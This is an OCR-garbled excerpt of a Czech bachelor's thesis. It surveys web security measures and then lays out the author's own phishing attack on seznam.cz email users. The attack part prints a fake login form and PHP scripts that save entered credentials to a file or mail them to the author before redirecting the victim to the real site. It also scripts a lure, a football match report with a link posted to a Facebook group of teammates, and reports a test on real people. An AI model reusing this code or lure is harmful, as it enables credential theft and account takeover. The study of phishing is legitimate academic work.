diveéryhodné spojeni mezi serverem a koncovym klientem a zarovén je vSe zasifrovano

k bezpecnosti ptenasenych dat po siti (Petrowski, 2013).

SSL spojeni mezi klientem a serverem pracuje na principu asymetrické Sifry. To
znamena, Ze jak server, tak i klient vlastni dva klice — vetejny a soukromy kli¢. Klice

slouzi k Sifrovani a naslednému rozsifrovani dat (Petrowski, 2013).

Kdyz vSe shrneme a ukaZzeme si pouziti SSL protokolu na ptikladu s odesilani

mailu, tak SSL protokol nam garantuje (Petrowski, 2013):

Duiivéryhodné spojeni — nikdo jiny nez odesilatel a adresat nemiize

rozSifrovat (vidét) obsah komunikace
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Ovéteni pravosti — adresat je opravdu ten, za kterého se vydava

Nerusivé spojeni — nikdo jiny nez odesilatel nemtize zménit obsah zpravy

3.4.6. TLS

Protokol TLS ma stejnou strukturu jako jeho ptedchiidce SSL, ale disponuje novymi
postupy a moznostmi. Hlavnim rozdilem mezi TLS a SS protokolem je zplisob generace
Sifrovanych dat. Sifrovani u obou probiha pomoci pseudonédhodnych funkci. TLS

zabranuje odposlouchavani a falsovani zprav (Petrowski, 2013).
3.5. Zabezpeceni na strané klienta

3.5.1. Zpisoby ovérovani

3.5.1.1 Heslo

Jedna se nejjednodusi a nejpouzivanéjsi zpiisob autentizace. Heslo je posloupnost
znakd, které si ur¢i sim uZivatel. Jeho délka je zavisla na podminkéch serveru napft. u
e-mailu na seznam.cz je pozadovano minimaln¢ 6 znaku. Pfi piihlaSovani musi uzivatel
vyplnit ptfihlaSovaci jméno a heslo. Po vyplnéni a pokusu o pfihlaSeni k Gctu server
porovna vyplnéné tidaje s tidaji v databézi a nésledn€ povoli ¢i zamitne piistup. Pii zadani
Spatného hesla server vyzve uZivatele k zménéni hesla ¢i ptihlaSovaciho jména. Toto se

muze opakovat neomezené (Petrowski, 2013).

3.5.1.2 Pin

Pin je ¢iselny kod, ktery slouzi k ptihlaseni k ctu bez ptihlasovaciho jména resp.
ptihlagovaci jméno je pevné dano k uréitému zafizeni (platebni karta, SIM karta). Ciselny
kod se sklada nejcastéji ze Ctyr Cislic, ale miize byt sloZen i1 z osmi ¢islic napt. PUK k SIM
karté. Pi1 zadani Spatného pinu ma uzivatel moZznost zadat novy (spravny) pin uz jen
dvakrat. Po tfetim $patném zadani pinu bude zatizeni (i¢et) zablokovan. (Petrowski,

2013)
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3.5.1.3 Bezpecnostni token

Bezpecnostni token se pouziva misto hesla. Slouzi k ovéfeni identity uzivatele.
Tento token se napi. vyuziva pii prichodu do prace k dochazce nebo k ptistupu do
mistnosti, kam nepovelena osoba (bez bezpecnostniho tokenu) mé odepieny pristup

(Jelinek, 2008).

3.5.1.4 Biometrika

Tento zpisob autentizace je jeden z nejmodernéjsich zptisobt ovéfovani.
Biometrické systémy pracuji na urcité mife podobnosti a pfi pripustné mife povoli pfistup
uzivateli. Nejcast¢jsi zplisob autentizace je otisk prstu, ktery se vyuziva napf. u notebookt
a mobilnich telefont. Tato autentizace je kryta jinym zpiisobem autentizace napt. heslem
¢i pinem. Zalozni zpiisob autentizace miize uzivatel vyuzit, kdyz se napt. porani prst

a biometricky systém nebude moci porovnat otisk s otiskem v databazi (Koci, 2011).

Obrazek €. 12: Imaginarni funkce biometriky
Zdroj: http://us.123rf.com/450wm/omnimages/omnimages1404/omnimages140400036/27217551-
Zv%C4%9Bt%C5%Alovac%C3%AD-sklo-na-otisk-prstu-z-1-0-grid.jpg

3.5.1.5 Bezpecnostni SMS

Bezpecnostni SMS se vyuziva napt. u internetového bankovnictvi a slouzi uzivateli

jako dalsi bezpecnostni systém, ktery miize zachranit finance uzivatele. Bezpecnostni sms
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je zaslana uzivateli na mobilni telefon a slouzi jako dokoncovaci funkce pfi platbé pies
internet. Uzivatel diky této funkci dostane zpravu, ze s jeho bankovnim G¢tem se néco

dé¢je a pokud to je uzivatel, tak zada kod, ktery mu piiSel a dokonci transakci (Koci, 2011).
3.5.1.6 TAN kédy

TAN koéd je Sesti mistné Cislo, kterym klient potvrzuje bankovni transakce. TAN
kdd je jednorazovy a banka zasila nékolik TAN kodi najednou postou. TAN kody

vyuziva napt. Obernank (Internetové bankovnictvi, 2016).
3.5.2. Nastroje k zabezpeceni

3.5.2.1 Antivirus

Antivirus je program, ktery sleduje nejpodstatnéjsi vstupni/vystupni mista, kterymi
by mohl vir proniknout do pocitace a nakazit jej.

Antivirovy program slouzi k vyhledani a naslednému odstranéni viru z pocitatového
systému. Tento program je nutné neustale aktualizovat, protoze kazdy den vznikaji nové

viry. Program se aktualizuje v ur¢itém intervalu sam, ale neuskodi kdyz uzivatel program

pied spusténim testu aktualizuje.

Kontrola vSech dat ke kterym uzivatel pfistupuje probiha na pozadi a uzivatel si

tohoto procesu ani nevSimne, pokud antivirus nenajde né&jaky virus.

3.5.2.2 Firewall

Firewall omezuje riziko napadeni pocitace zvenci pfes internetové piipojeni.
Funguje jako program, ktery béZi na pozadi a kontroluje komunikaci ptes internet.
Ovétuje nasledujici:

Jsou odesiland data opravdu posilana zdmérné? Tedy jestli nejsou data odesilana
tajné

Jsou vstupujici data opravdu zddouci? Tedy jestli uzivatel dostava datové pakety

odpovédi ¢i reakce na jeho dotaz

Pokud jedna z téchto otazek vede k negativnimu vysledku je spojeni pierusené

a uzivatel je o této skute¢nosti informovan (Kral, 2015) a (Kocman, 2005).
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3.5.2.3 Antikeylogger

Keylogger je program nebo zafizeni, které dokaze detokovat pohyby po klavesnici
resp. zaznamenat sled stisknutych kldvesnic a tim odcizit citlivé informace jako

hesla, piny apod.

Antikeylogger je program, ktery slozi k detekci keyloggerti v poc¢itaCovém systému.

(Ko¢i, 2011)
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4. Vlastni navrh phishingového utoku

Tato kapitola charakterizuje mechanismus phishingového utoku, ktery autor sam
navrhl. Phishingovy utok je naprogramovan na ukradeni ptihlasovacich udaji uzivatelim
e-mailové schranky na seznam.cz. Autor funkcnost svého feSeni vyzkousel sam na
sob¢, pricemz zadéval fiktivni pfihlaSovaci udaje a zapisovani ptihlasovacich udaju je

realizovano pomoci naprogramovaného skriptu dvémi zptisoby.

4.1. SKkute¢na stranka

Na skute¢né strance e-mailové schranky se nachazi logo, dvé pole pro zadani
piihlaSovaci adresy a hesla, vybérové pole pro internetovou doménu, tlacitko

k prihlaseni, reklama a dale odkazy.

|2

Pfihlaseni do E-mailu

Bezvadna dovolena v AdrSpachu
kdykoli v celé sezdné 2016 ~' 2 200 KE

Obrazek ¢. 13: Skutecna stranka e-mailové schranky
Zdroj: upraveno z
https://login.szn.cz/?returnURL=https%3a%2f%2femail.seznam.cz%2f&serviceld=email &emailLogout=1
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4.2. Plan atoku

vvvvvv

promyslet, jak se utok ma uskute¢nit a urcit si cil, ¢eho se ma dosahnout. Planovanimu by

m¢élo byt vénovano dostatek ¢asu a nic neuspéchat a promyslet vSe detailné.
4.2.1. Vybér obéti

Stanoveni svého cile je prvorady tkol. Od néj se odviji veSkeré plany a kroky.
Nejdiive je diilezité ceho chceme dosahnout resp. co chceme od obéti ziskat napt. kdyz
cilem budou finance vybrané z bankovniho uctu ob¢ti, tak tézko utok bude smétovan na
osoby mezi 13-17 lety, protoze je mala pravdépodobnost, Ze by tyto osoby si vedly osobni
ucet a poptipadé¢ disponovaly financemi takové hodnoty, pro které by se vyplatilo

podnikat zlocin.

Autor si jako cilovou skupinu vybral své spoluhrace z fotbalového tymu ve véku od
18 do 35 let. Tato cilova skupina je pro realizaci modelového phishingového utoku
z hlediska cilu idealni, protoze cil mize byt cokoliv, jak uz odcizeni finan¢nich

prostredki, tak 1 ptfihlaSovacich udajii k socialnim sitim apod.
4.2.2. Cil utoku

Autor si vybral pro provedeni phishingového utoku uZivatele e-mailové schranky
seznam.cz, protoZe jeho vytipovana skupina vlastni pravé e-mailovou schranku na
seznam.cz. Pti slovnim sbéru informaci autor zjistil, ze 8 z 10 dotdzanych ma shodné

piihlasovaci udaje jako k e-mailové schrance na seznam.cz, tak i k ostatnim a¢tim.
4.2.3. Podstréeni podvodné stranky

Dal§im bodem planovani je zpiisob podstrc¢eni podvodné stranky obéti. Obét’ musi
byt presvédcena, ze se jedna o skute¢nou stranku, na kterou vede podstréeny odkaz

utoénikem.

Pro modelovou ukézku byla stranka podstréena v textovém dokumentu s reportazi

z ptedchoziho fotbalového zépasu na sociélni siti FaceBook.
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4.3. Priprava komponent

Po naplanovani provedeni Gtoku nésleduje ptiprava utoku, ktera zahrnuje vytvoreni co
nejdokonalejsi kopie ptihlaSovaciho okna do e-mailové schranky na seznam.cz

a naprogramovani specidlni skriptu, ktery posle ttocnikovi ptihlaSovaci udaje.
4.3.1. Podvodnd stranka

Pti tvorb€ podvodné stranky e-mailové schranky autor vychéazel z rozmisténi

jednotlivych objektl, spravnych barev a umisténi pati¢ky, tak aby byla vzdy dole.

Pfihlaseni do E-mailu

Obrazek ¢. 14: Podvodna stranka e-mailové schranky
Zdroj: Autor

Podvodna stranka obsahuje vSechny prvky jako skute¢na stranka. Kazdy prvek je
pfesmérovan na skute¢nou stranku véetné zachovani otevirani v ptivodnim i dal$im okné
prohlize¢e. Jediny prvek, ktery neni aktivni je — Cestina, nachazi se v pravém hornim
rohu. Tento prvek neni aktivni z d@ivodu, Ze ttok je sméfovan na obéany Ceské Republiky

a autor neptepokladd zmeénu jazyka.

Pro vétsi pravost stranky byla pouzita reklama, ktera ma ménici charakter a vytvari

tak lepsi diveryhodnost stranky.
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4.3.2. Naprogramovdni skriptu

Poslani pfihlaSovacich tidaju autor pouzil dva mozné zpiisoby. Prvni zplisob spociva

Vv poslani prihlasovacich idaji na svoji e-mailovou schranku — XXxXxx@seznam.cz.

K druhému zptsobu autor vyuzil externi soubor — text.txt, kam se budou piihlasovaci

udaje zapisovat.

Skript je naprogramovan ve skriptovacim jazyku php. Diky tomuto skriptu se
provedou pfislusné akce, které¢ vedou k odeslani ptihlaSovacich udaji Gto¢nikovi at’ uz na

e-mailovou adresu nebo do externiho souboru.
4.4, Komponenty

Mezi hlavni komponenty k provedeni phishingového utoku patii soubory
index.php, posli.php, zapis.php. Zbyvajici slozky z adresate slouzi k Gpravé stranky, tak

aby vypadala jako skutecna stranka.

css 24, 2. 2016
foto
komponenty 24, 2. 2016 2¢
gindex 25. 2. 2016 12:43 2k
9 posli ‘
text 25.2.2016 12:43 Textovy dokument | kE

8 zapis 4.2. . . bor PHF kE

m

Obrazek ¢. 15: Adresar component
Zdroj: Autor

4.4.1. Index.php
Soubor index.php vytvaii prihlasovaci okno k e-mailové schrance a slouzi

k zadavani e-mailové adresy a hesla. Cely zdrojovy kod této stranky najdete v priloze.

Nejdulezitéjsi cast kodu, kterd slouzi k provedeni tspé€sného phishingového ttoku je:

<form action="zapis.php" method="post">
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<label><input type="text" name="login" value=""></label>

<select name="domena">

<option value="@seznam.cz" selected="selected">@seznam.cz</option>
<option value="@email.cz">@email.cz</option>

<option value="@post.cz">@post.cz</option>

<option value="@spoluzaci.cz">@spoluzaci.cz</option>

<option value="@stream.cz">@stream.cz</option>

<option value="@firmy.cz">@firmy.cz</option>

</select>

<label><input type="password" name="heslo" value=""></label>

_n

<button type="submit" name="sub" size="30" value="odesli">Ptihlasit se</button>

</form>

@seznam.cz ¥ Prihlasit se

Obrazek ¢. 16: Ukazka ¢asti kodu v prohliZeci
Zdroj: Autor

Jak je z obrazku ¢islo 16 vidét, tak nejdilezitéjsi ¢ast kodu, ktera vSe uskutecni je
obyc¢ejny formulaf. Po vyplnéni formulare obét’ klikne na tlacitko — Ptihlésit se a tim se
provede akce v prvnim fadku ¢asti kodu — zapis.php. Poptipadé 1ze misto zapis.php pouzit

posli.php. Jak vypada a k ¢emu slouzi zapis.php a posli.php bude feceno nize.
4.4.2. Zapis.php

Po kliknuti na tlacitko z index.php se spusti zapis.php, ktery zapise udaje
z formulate do externiho textového souboru — text.txt. Udaje, které se zapisi do externiho
textového souboru predstavuji e-mailovou adresu véetné @XXXxX.CZ a heslo. Prehledny
zapis do souboru je zprostiedkovan pomoci - fwrite($soubor, "\r\n"), ktery odfadkuje

a udaje jsou tim prehledné;Sim.
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Obét je presmerovana pomoci header("Location:

https://login.szn.cz/?returnURL=https%3a%2f%2femail.seznam.cz%2f&serviceld=email"

) na skute¢nou stranku a op¢t zadava své prihlaSovaci tidaje bez jakéhokoliv tuSeni co se

stalo. Zdrojovy kod souboru zapis.php je:
$login =$ POST['loginT;

$dom =$ POST['domenaT;

$pass = $_POST['hesloT;

$soubor = fopen("./text.txt", "a");
fwrite($soubor, "Piihlasovaci jméno: $login$dom");
fwrite($soubor, "\r\n");

fwrite($soubor, "Heslo: $pass™);
fwrite($soubor, "\r\n");

fwrite($soubor, "\r\n");

fclose($soubor);

header("Location:

https://login.szn.cz/?returnURL=https%3a%2f%2femail.seznam.cz%2f&serviceld=email "

);

Soubor Upravy Format Zobrazeni MNapovéda

Pﬁihlaﬁovaci jméno: anonyml@seznam.cz
Heslo: heslol

Prihlasovaci jméno: anonym2@seznam.cz
Heslo: heslo?

Obrazek ¢. 17: Ukazka zapisu do externiho souboru
Zdroj: Autor
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4.4.3. Posli.php

Posli.php mé totoznou funkci jako zapis.php s tim rozdilem, ze udaje z formulare se
posilaji na pozadovany mail. V naSem ptipad¢ na e-mail autora. Zdrojovy kéd souboru
posli.php je:
$to = " xxxxx@seznam.cz *";
$login =$_POST['loginT;
$dom =$ POST['domena’;
$pass = $_POST['hesloT;
$prihlasovaci_udaje ="E-mail: ".$login.$dom."\nHeslo: ".$pass."\n";
if(mail($to,"BP",$prihlasovaci_udaje)){
header("Location:

https://login.szn.cz/?returnURL=https%3a%2f%2femail.seznam.cz%2f&serviceld=email"

);

Presunout ~ Oznacit ~ Spam W Smazat + Odpovédét | <« Odpovédétvsem | = Pleposlat

BP
Dnes 25. 2. 2016, 12:41:11

Komu: h

W

E-mail: anonyml@seznam.cz
Heslo: heslol

Hovéd Plnchaodnotna adpovéd

Obrazek ¢. 18: Ukazka e-mailu s udaji obéti
Zdroj: Autor
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4.5. Realizace

V nasledujici podkapitole bude autorem popsana ptipadna realizace krok za

krokem, jak by autor postupoval.

Po naprogramovani v§ech komponent, vytvoreni podvodné stranky a umisténi
stranky na web je potfeba urcit skupinu lidi, na ktery bude utok smétovan a podstrcit
ob¢tim odkaz na podvodnou stranku, tak aby obét’ nepoznala, Ze se jedna o odkaz na
podvodnou stranku. Webovou stranku by autor umistil na sviij server a zaregistroval by
volnou doménu — emaillseznam.cz. Autor by vybral své spoluhraée z fotbalového tymu
a k podstéeni odkazu by vyuzil socialni sit¢ FaceBook, ktery kazdy ze spoluhraci autora
disponuje a odkaz na podvodnou stranku by byl umistén do fotbalové skupiny v textovém

souboru s reportazi z minulého zapasu.
Soubor s reportazi by vypadal nasledovné:
TJ Mnichovice ,,A* — TJ Sokol Sestajovice 5:6 (1:1)

Sestava: Drdzek — Blazek, Zamecnik, Bartik J., Cizek — Rejka, Bartak T. ml., Zidka,
Svoboda — Pazdk — Vyskocil

Stiidani: 59" Bartdk T. ml. — Safarik, 89° Zamecnik - Tichovsky
Branky domdcich: 22" Zidka, 60" Safarik, 72" a 81" Svoboda, 76" Pazdk,

Domaci utkani nepatrilo k povedenym. Zacatek utkani byl celkem vyrovnany. V 16’
Zamecnik na hranici pokutového uzemi svedl hlavickovy souboj s utocnikem hosti
a rozhodci odpiskal pokutovy kop. Venca Drazek ale vystihl smer stirely a pokutovy kop
zneSkodnil. Ve 22’ jsme se dostali k rohovému kopu, ktery Misa Zidka hlavou proménil ve
vedouci gol 1:0. ... .Vyvrcholenim byl pokutovy kop v 91" za hrani domaciho hrace

V pokutovém vzemi, na dvakrat ho hosté promenili a stanovili konecné skore 5:6.

Prosim o hlasovani o nejlepsim hraci utkani. Hlasy posilejte na mail

XXXX@seznam.cz

K prihlaseni k e-mailové schrance na seznamu Klikni zde.

Obét po kliknuti na odkaz na e-mailovou schranku by byla pfesmérovéana na
podvodnou stranku, kde by vyplnila pfihlaSovaci tdaje a snazila by se pfihlasit ke svému

uctu. Po pokusu o ptihlaseni by byla obét’ pfesmérovana na skutecnou stranku
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email.seznam.cz, kde by obét vyplnila znovu své ptihlasovaci udaje a prihlasila se ke
svému Uctu. Po piihlaseni ke svému uctu by obét’ poslala e-mail autorovi (ito¢nikovi)
s nazorem na nejlepSiho hrace minulého zapasu. Autorovi (ito¢nikovi) by piisly dva

e-maily. Jeden s nazorem obéti na minuly zapas a druhy s piihlaSovacimi tdaji.

4.6. Cil

Cilem phishingového utoku by byla kradez ptihlasovacich udajt k e-mailové
schrance na seznam.cz, protoze s t€émito udaji s velkou pravdépodobnosti bychom se
mohli dostat k vice i¢tiim obéti, at’ uz s pomoci piihlasovacich tdajii nebo prozkoumanim

elektronické posty, kam se ptihlasovaci udaje k jinym uctim zasilaji po registraci.

Cilem autora by bylo sledovani pohybu svych spoluhracu (pfatel). Autora by
zajimali jen informace spojené se spoluhraCem a to napft. s kym si piSe, co si piSe, co si

koupil a za kolik penéz, kde a s jakymi ptihlasovacimi idaji je zaregistrovan apod.

Napadeni e-mailové schranky je po internetovém bankovnictvim druhym
nejcitlivéjSim mistem vSech uzivatelti na webu. V e-mailové schrance se mize vyskytovat
ruzné faktury, vypisy Uctl, citlivé informace, ptihlasovaci tdaje k uctim, licence
k software.

Napadeni internetového bankovnictvi by bylo pro tto¢nika vynosnéjsi, ale
odcizenim pénez z Gctu obéti je ndpadné a obet’ béhem kratkého casového obdobi zjisti, ze
ji penéZni ¢astka zmizela z G¢tu, at’ uZ pomoci sms, které banky zasilaji s informaci

0 pohybu financi na ¢tu nebo z vypisu z bankovniho uctu.
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5. Vyhodnoceni

Samotny ttok realizovan nebyl, ale k potvrzeni autorovi teorie o podstréeni
podvodné stranky byl podle bodu realizace vyzkousen. Ve skupiné fotbalového tymu je 16

hracéua véetné trenéra.

Hlavnim cilem pokusu bylo zjistit, kolik hraca si dokument otevie a kolik jich
klikne na odkaz na konci souboru s umyslem zvolit nejlepsiho hrace. Odkaz vedl na
podvodnou stranku schranku na seznamu.cz, ale phishingovy utok nebyl aktivovan, jen po
doplnéni ptihlaSovacich udajii a kliknuti na tla¢itko “Ptihlasit se* byla stranka
piresmérovana na skutec¢nou stanku. Po nahrani textového souboru s reportazi z minulého
utkani byl soubor do 24 hodin zobrazen vSemi ¢leny skupiny a na e-mail autora bylo
odeslano 10 hlast, 3 hlasy byly napsany do komentare pod vlozenym souborem ve

skupiné a zbyli 3 hraci se zdrzeli hlasovani.

Po pokusu byli hra¢i dotazani, jestli ti ktefi odeslali hlas pies e-mail klikli na odkaz
na konci reportaZe a zda poznali, Ze se jednalo o podvodnou stranku. Odpovédi byly az do
jedné totozné a to, Ze cesta k e-mailové schrance vedla ptes odkaz na konci reportaze a

nikdo nepoznal, Ze se jednalo o podvodnou stranku.

41



6. Zavér

Bakalatska prace v prvnich kapitoladch seznamuje ctenate s problematikou, kterd je
soucasti s praci na webu. Ukazuje na mozné zptisoby napadeni pocitace a na rizné

moznosti zabezpeceni na strané klienta a serveru.

V posledni ¢asti prace je prozkouman mechanizmus phishingového utoku, ktery je
hrozbou zejména internetového bankovnictvi. Phishingovy utok je naprogramovan
a sestaven ze vech potiebnych komponent, které jsou k jeho provedeni potiebné. Utok je
sméfovan na vlastniky e-mailové schranky na seznam.cz. Samostatny itok neni proveden
na vefejnosti, ale autor ho vyzkousel na sobé, aby vyzkousSel jeho funkcnost, ktera se

potvrdila v testu.

Naprogramovana infrastruktura phishingového tutoku je umisténa na zadni strané

vazby na disku v nosic¢i.

Test phishingového Utoku byl proveden pomoci textového dokumentu s reportazi
z fotbalového utkéani. Na konci reportaZe byl umistén odkaz na podvodnou stranku, ktera
méla neaktivni prvek ke kradezi ptihlaSovacich tidaji, po pokusu o ptihlaseni byl uzivatel
pfesmérovan na skute¢nou stranku. Textovy dokument byl umistén do skupiny
fotbalového tymu na sociélni siti FaceBooku s cilem pfecteni reportaZe a hlasovanim o
nejlepsim hraci zapasu.

Vysledkem testu byla 100% Uspésnost divéryhodnosti podvodné stranky a ptipadné
kradeze prihlasovacich tdaju.

Phishingovy utok autor udélal z divodu rostouciho poctu ptipadu, které se objevuji

na internetovych strankéach, socialnich siti a ptichozi posté na e-mailové schrance.

Utok je sméfovan na e-mailovou schranku na seznam.cz, ktery je podle autorova
okoli nejvyuzivanéjsi e-mailovou schrankou. K vytvoteni pottebnych komponent autor
vyuzil své znalosti, které ziskal na “Ceské zemédélské univerzité€ v Praze® ve studijnim

programu “Systémové inZenyrstvi a informatika®.
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8. Prilohy

Naprogramovana infrastruktura phishingového ttoku je umisténa na zadni strané

vazby na disku v nosici.
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